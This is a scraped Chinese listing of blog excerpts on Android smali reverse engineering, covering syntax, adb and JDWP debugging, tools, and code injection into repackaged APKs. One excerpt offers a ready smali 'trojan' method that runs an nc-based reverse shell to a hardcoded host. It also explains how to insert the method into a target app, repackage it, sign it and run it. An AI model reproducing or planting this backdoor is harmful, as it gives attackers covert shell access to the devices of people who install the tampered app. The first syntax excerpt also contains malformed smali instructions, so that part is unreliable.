-
安卓smali编写
2020-12-07 14:01:17#头 .class public Lworld/eworld/estr; #类声明 #可加 L字符串,当前类所在的路径 .super Ljava/lang/Object; #父类声明/默认是Object #返回静态field方法 .field public static final eStr:Ljava/lang/...#头 .class public Lworld/eworld/estr; #类声明 #可加 L字符串,当前类所在的路径 .super Ljava/lang/Object; #父类声明/默认是Object #返回静态field方法 .field public static final eStr:Ljava/lang/String; = "Beat work everyday" # 共有 静态 不可修改 #field声明与初始化 #普通函数需要初始化 .method public bain<init>()V #p0-->this .locals 0 invoke-direct {}, Ljava/lang/Object;-><init>V return-void .end method #普通函数 .method public bwork3()Ljava/lang/String; .locals 1 const-string v0, "Beat work everyday for man" result-object v0 .end method #函数声明 .method public static bwork()Ljava/lang/String; #函数方法声明----共有 静态 函数名(描述) 返回值及类型 .locals 4 #数字本地寄存器数量,以V0开始,V.. const-string v0, "Beat work everyday" return-object v0 #返回寄存器对象 .end method #获取field .method public static bwork2()Ljava/lang/String; .locals 1 #寄存器数量声明 sget-object v0,Lworld/eworld/estr;->eStr:Ljava/lang/String #路径 类型 return-object v0 .end method ------------------------------ #调用静态方法 invoke-static {},Lworld/eworld/estr;->bwork()Ljava/lang/String; #类所在路径 其下方法及返回值和类型 move-result-object v0 #对调用方法返回值进行重新赋值 #调用普通方法 new-instance v0,Lworld/eworld/estr; invoke-direct {v0},Lworld/eworld/estr;-><init>()V invoke-virtual {v0},Lworld/eworld/estr;->bwork3()Ljava/lang/String; move-result-object v0 ---------------------------------- #Android log 包源adnroid/util/Log invoke-static{v0,v1},Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I #函数跟踪 invoke-static {},Landroid/os/Debug;->startMethodTracing()V invoke-static {},Landroid/os/Debug;->stopMethodTracing()V #添加权限 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> #字符串handle #新建 const-string v1, "%d" #字符格式化 const-string v1,"%d" #描述 const/4 v2, 0x1 #数组长度 new-array v2, v2,[Ljava/lang/Object; #创建object数组,[数组 aput-object v3,v2,v4 #填充数组 ... invoke-static {v1,v2},Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object)Ljava/lang/String; #格式化字符串 #字符串替换 invoke-virtual {v0,v1,v2},Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; invoke-virtual{v0,v1,v2},Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; #waitForDebugger invoke-static {},Landroid/os/Debug;->waitForDebugger()V
-
安卓 smali 代码动态调试
2020-05-06 23:55:28最近在研究安卓逆向,刚开始接触,...今天首先讲一下 安卓动态调试smali代码(需要smalidea插件的哦,没有插件调试不了) 1,首先用 Androidkiller 反编译出项目源码,可以导入到桌面方便找 2 ,需要下载Android s...最近在研究安卓逆向,刚开始接触,有需要脱壳的可以找我。QQ 657589436 安卓需要很多的反编译工具 jEb,jadx_gui,androidkiller,Android stodio等。今天首先讲一下 安卓动态调试smali代码(需要smalidea插件的哦,没有插件调试不了)
1,首先用 Androidkiller 反编译出项目源码,可以导入到桌面方便找
2 ,需要下载Android stodio, import 导入你的项目(就是你反编译好的Project)
3,选中项目包名 获取该项目的root权限和一些配置
默认是空的 需要手动去选择你的jdk,别的都不需要修改的
下图标注的是需要修改的地方,端口号最好是8700
4 ,adb shell ps 获取模拟器软件进程pid
然后从新打开一个新的cmd窗口输入:adb forward tcp:8700 jdwp:3041 (3041是进程id)直接回城如下图
上面的配置完了在Android stodio中,点击debugger (如下图)出现 socket就可以下断点动态调试了。
-
安卓木马demo_向安卓APK smali源码中植入木马
2020-12-24 06:38:44向安卓APK smali源码中植入木马反弹SHELL的测试代码【请勿用于非法目的,切记!】在安卓应用程序中植入木马已经不是什么新鲜事情,下面给出一个demo 反弹shell的一个smali源码,可以直接插入到目标应用的smali源码中...向安卓APK smali源码中植入木马反弹SHELL的测试代码【请勿用于非法目的,切记!】
在安卓应用程序中植入木马已经不是什么新鲜事情,下面给出一个demo 反弹shell的一个smali源码,可以直接插入到目标应用的smali源码中,其中第一部分为函数体。注意修改其中的.line 行号。建议插入到一个smali文件的末尾,这样行号只要顺着原smali文件的行号增大即可。
然后使用第二部分的源码进行调用。
# virtual methods
.method public getshell()V
.registers 8
.prologue
.line 28
invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
move-result-object v1
.line 31
.local v1, rt:Ljava/lang/Runtime;
:try_start_4
sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
const-string v3, “NC IS OK!!!!”
invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
.line 34
sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
move-result-object v3
const/4 v4, 0×3
new-array v4, v4, [Ljava/lang/String;
const/4 v5, 0×0
const-string v6, “/system/bin/sh”
aput-object v6, v4, v5
const/4 v5, 0×1
const-string v6, “-c”
aput-object v6, v4, v5
const/4 v5, 0×2
const-string v6, “nc 192.168.0.1 8088|/system/bin/sh|nc 192.168.0.1 9999″
aput-object v6, v4, v5
invoke-virtual {v3, v4}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;
move-result-object v3
invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V
:try_end_2a
.catch Ljava/io/IOException; {:try_start_4 .. :try_end_2a} :catch_2b
.line 41
:goto_2a
return-void
.line 37
:catch_2b
move-exception v0
.line 39
.local v0, e:Ljava/io/IOException;
invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
goto :goto_2a
.end method
此处为调用代码,注入插入到一个smali源码程序后就要修改下面的Lcom/example/test/MainActivity为响应的包名和类名,可以参考当前被修改的smali文件上下文进行修改,修改成功后保存并重新打包签名,然后在手机上运行即可。
1
invoke-virtual {p0}, Lcom/example/test/MainActivity;->getshell()V
这个程序会在控制台logcat显示NC IS OK!!的信息方便调试。注意设备需要有装过NC,不过这里有个悖论诶,没有root的设备很少有自带NC的,而root后的设备有很多不装busybox的,也没有NC。所以呢。。具体可用价值,大家自己衡量吧~~
-
安卓逆向与smali
2020-03-12 18:12:49一段时间的研究下来,对安卓的整个逆向过程除了加固和一些独特的混淆外基本有个认识。这段时间算是真正的从认识到尝试去了解smali,包括期间有想为逆向开发一个从smali2java,java2smali的可视化实时工具,不过意识...一段时间的研究下来,对安卓的整个逆向过程除了加固和一些独特的混淆外基本有个认识。这段时间算是真正的从认识到尝试去了解smali,包括期间有想为逆向开发一个从smali2java,java2smali的可视化实时工具,不过意识到时间问题,还是暂时先放弃。不过也出了自己的第一款个人软件,lexgetapp,算是逆向的第一个跨步,后期会继续为它增加一些功能,来帮助自身做安全,逆行的一些工作,让工作更加顺利。
我这里基本对工具进行一些收集和记录
逆向工具集合]
android killer
apktool
apkaid
smali查看与分析]
jadx
smali2java-gui
其实整个从逆向到注入自己的代码过程非常的明晰。
1,反编目标工程
2,编写自己的工程,尽量只留下一个程序入口,把任务都设置在某个intent,或是某个异步操作。
3,使用某些工具获取注入目标。
4,在注入目标插入自己工程的调起语句。
说起来很简单,可实际会遇到很多问题,做一些简单说明。
1,阅读问题
smali语句的可读性不是很好,所以需要jadx辅助查看去理解源代码的一些操作与逻辑或者进行smali的语法学习。
2,代码插入问题
其实直接复制包很容易产生很多毛病,比如65535个函数超限的问题,就需要新建smali_classes2文件夹来解决问题。
3,资源问题
我自己的工程,我会尽量使用代码来创建图形和界面,就是为了避免资源id冲突问题,每一个安卓R资源的引入和定义都会出现在string.xml以16进制留存,不可重复,不同种资源必须放在不同位置。甚至不同系统版本对于某些资源的引用都会产生问题。
最后,其实整个东西都很简单,但是为了避免记不住还是做了这个记录。 -
171120 逆向-静态分析安卓(Smali文件格式)
2017-11-25 00:18:51静态分析安卓程序-Smali格式 B.Smali文件格式Smali文件的头3行描述了当前类的一些信息,格式如下:.class <访问权限>[修饰关键字] <类名> .super <父类名> .source <源文件名>第一行指定了当前类的类名 第二行... -
安卓逆向语言smali学习笔记.rar
2019-07-19 13:47:33安卓逆向语言smali学习笔记 -
smali2java安卓版_smali2java
2021-03-07 03:28:33这是smali2java下载,本人自己写的将smali反编译为java代码的工具,支持apk和jar包直接反编译为java代码,适用于java代码未经编译优化,保留了源码行数和变量名称的情况。软件介绍smali2java是将Android字节码用可... -
安卓逆向之smali语法
2016-05-08 10:14:36安卓逆向之smali语法 安卓逆向之入门篇 安卓逆向之工具篇 欢迎讨论学习,请关注我的个人网站 www.tasfa.cn -
smali2java安卓版_smali2java下载_smali2java官方下载-太平洋下载中心
2021-02-26 10:53:27基本简介smali是将Android字节码用可阅读的字符串形式表现出来的一种语言,可以称之为Android字节码的反汇编语言。使用baksmali或apktool可以将Android应用程序包(apk或jar)反编译为smali代码。smali2java的特色... -
安卓 if 判断_安卓逆向——Smali基本语法
2021-01-27 00:12:09今天分享一下smali基本语法,也是安卓逆向技术经常用到的语法,希望对大家有所帮助!.field private isFlag:z 定义变量.method 方法.parameter 方法参数.prologue 方法开始.line 12 此方法位于第12行invoke-... -
安卓逆向调试smali笔记
2019-09-24 20:05:552、把需要调试的apk反编译,之后把smali文件copy出来改名字 3、 cmd命令行 切换到 android sdk 的 platform-tools 目录,即adb所在的目录,执行命令(以调试模式开启) adb shell am start -D -n 应用包名/... -
打造自己的安卓crack.smali利器
2016-05-13 16:36:08package com.yunshouhu.smali; import android.app.AlertDialog; import android.content.Context; import android.util.Log;...//打造自己的安卓crack.smali利器,打包为apk后反编译获取smali即可。 public -
smali【安卓逆向分析】
2020-07-27 11:36:46最近搞安卓开发,学会了一项新技能-反编译。smali让我很好奇。自己给自己梳理一下,慢慢填充内容。 1.什么是smali? smali文件可以认为是Davilk的字节码文件 将APP反编译后,得到smali代码,修改这些smali代码并... -
smali2java 安卓反编译
2018-11-07 10:16:27smali2java是一个将smali代码反编译成java代码的工具。smali2java工具基于apktool v1.5.0(baksmali v1.3.4)生成的smali文件,依赖于smali文件中的代码行数(.line关键字)和变量别名(.local关键字)等信息,可以... -
安卓逆向之smali代码笔记
2018-03-07 22:46:19const/4 v1, 0x0 const/4 v5, 0x5 new-array v3, v5, [I ...//v4 is value from scannner.nextInt() get aput v4, v3, v1 //v1 is the index of array,'aput' puts v4 into v3[v1] ...smali语法参考网址: 点击打开链接 -
安卓逆向-idea-动态调试-安卓apk-smali代码
2020-12-09 17:20:052、apk在安卓模拟器安装 3、AndroidKiller将apk反编译(apk直接拖进Androidkiller即可) 4、idea打开Androidkiller反编译以后的项目源码 5、命令行打开ddms工具(Android-SDK自带工具) 6、idea远程调试配置 ... -
安卓逆向--修改smali
2019-07-26 16:09:50这里只是做一个嵌入smali的测试,嵌入的东西很简单,只想在所有的activity里面弹出一段提示。 源码: Toast.makeText(this, "----", Toast.LENGTH_LONG).show(); 大致步骤: 1、解压目标apk,查看smali... -
app安卓逆向之smali代码log注入与原代码修改
2021-03-25 10:51:48开始3.1smali代码基础知识普及3.2apktool的基本使用3.3构建个人Log类并且反编译成Smali文件注入到某电商App中3.4重编译修改后的App项目,安装到模拟器中运行并使用注入的代码打印日志总结 1.背景分析 在安卓逆向的... -
安卓混淆 unresolved class name_安卓逆向基础之Smali语言(二)
2020-12-11 11:05:18如果朋友们有想投稿的内容也可以联系我,在公众号里有投稿字样!点击上方蓝字 关注我哦01什么是Smalismali语言是Davlik的寄存器语言,语法上和汇编语言相似,...因为安卓软件编译后,就得不到源代码了,我们只可... -
安卓逆向之常用smali语句函数
2018-07-17 09:54:24常用分析工具工具: 1.AndroidKiller (需...常用基础的smali语句函数有: Const 赋值 return-void返回空 Goto 跳转 Cond 分支 判断语句: if-eq 等于 if-ne 不等于 if-lt 小于 f-ge 大于等于 if-gt... -
安卓逆向笔记--smali语法
2019-07-15 09:15:53安卓逆向笔记–java、smali对照表 一、数据类型 B—byte C—char D—double F—float I—int S—short V—void J—long Z—boolean  ... -
安卓实体类 关键字 转换_安卓逆向基础之Smali语言(三)完结篇
2021-01-05 03:34:17如果朋友们有想投稿的内容也可以联系我,在公众号里有投稿字样!点击上方蓝字 关注我哦01什么是Smalismali语言是Davlik的寄存器语言,语法上和汇编语言相似,...因为安卓软件编译后,就得不到源代码了,我们只可... -
【安卓逆向】动态调试smali代码
2021-02-20 21:36:49原文链接:教我兄弟学Android逆向04 动态调试smali代码 下载并使用adb安装 apk链接:https://pan.baidu.com/s/1smNIrST 密码:uzsa 下载完成后,使用adb进行安装 adb install jwx02.apk 安装完成后,在所有应用中... -
安卓反编译smali代码注入第三方广告
2015-10-17 15:04:17最近研究了下反编译smali代码注入 实现自己的功能 简单的注入Toast log代码 比较简单 网上都是 但是没有找到加入第三方广告sdk的例子 下面就以hao123广告注入说下自己的经验 其实规律很简单 hao123广告 需要的代码... -
如何利用安卓修改大师进行Smali反编译调试
2019-01-23 01:12:20安卓修改大师可以在没有源代码的情况下,直接反编译已经打包的APK安装包,通过修改SMALI代码实现添加和去除部分功能,并在应用的任何地方添加任意代码,增加任意任何您想实现的功能。通过这种方式,把该应用变为您... -
安卓string转object_跟我学安卓逆向附录A - smali文件语法手册
2021-01-27 00:17:21反编译安卓APK都会生成一个smali文件,本篇文章为smali文件的语法(即Dalvik指令)速查手册,速速收藏备忘。0.类型Dalvik指令中的类型和java的对应关系如下:语法Java类型Vvoid,只用于返回值类型... -
安卓从入门到进阶第十章(Smali调试)
2019-10-16 22:00:00Smali 是安卓 Apk 反编译出来的格式,类似于我们 PC 上面的汇编语言。语法可以参考这个文章:https://blog.csdn.net/yuanguozheng...